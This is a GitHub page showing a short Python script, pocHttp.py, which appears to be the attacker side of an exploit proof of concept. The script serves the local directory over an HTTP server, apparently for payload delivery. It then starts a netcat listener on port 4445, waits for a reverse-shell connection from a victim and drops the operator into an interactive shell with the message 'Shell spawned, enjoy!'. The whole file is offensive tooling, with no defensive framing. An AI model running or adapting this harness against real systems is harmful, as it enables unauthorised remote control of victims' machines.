-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpocHttp.py
More file actions
62 lines (50 loc) · 1.37 KB
/
Copy pathpocHttp.py
File metadata and controls
62 lines (50 loc) · 1.37 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import subprocess
import asyncio
import pexpect
import time
import sys
import os
childGroup = os.getpgid(0) +1
children = []
def registerChild(pid):
global children
global childGroup
os.setpgid(pid, childGroup)
children.append(pid)
import signal
def cleanupChildren():
print("[+] Cleaning up spawned processes")
global children
global childGroup
os.killpg(childGroup, signal.SIGKILL)
#for child in children:
# print("[+] Killing pid %s" % pid)
# os.kill(child)
# os.wait(child)
def startHTTPServer(port, directory):
pid = os.fork()
if not pid:
os.chdir(directory)
os.system("`which python3` -m http.server %s >httpServerLog.txt 2>&1" % port)
os._exit(0)
registerChild(pid)
print("Child process group: %s"% os.getpgid(pid))
print("Parent process group: %s"% os.getpgid(0))
return pid
def startShellListener(port):
revShellCmd = "/usr/bin/nc -vnlp %s" % shellPort
p = pexpect.spawn(revShellCmd)
p.expect('Listening on.*$')
return p
def catchShell(p):
p.expect("(Connection received.*$)", 5000)
print("[+] %s" % p.match.group(1).decode('ascii').rstrip())
print("[+] Shell spawned, enjoy!")
p.interact()
shellPort = 4445
try:
startHTTPServer(8888, "./")
p = startShellListener(shellPort)
catchShell(p)
finally:
cleanupChildren()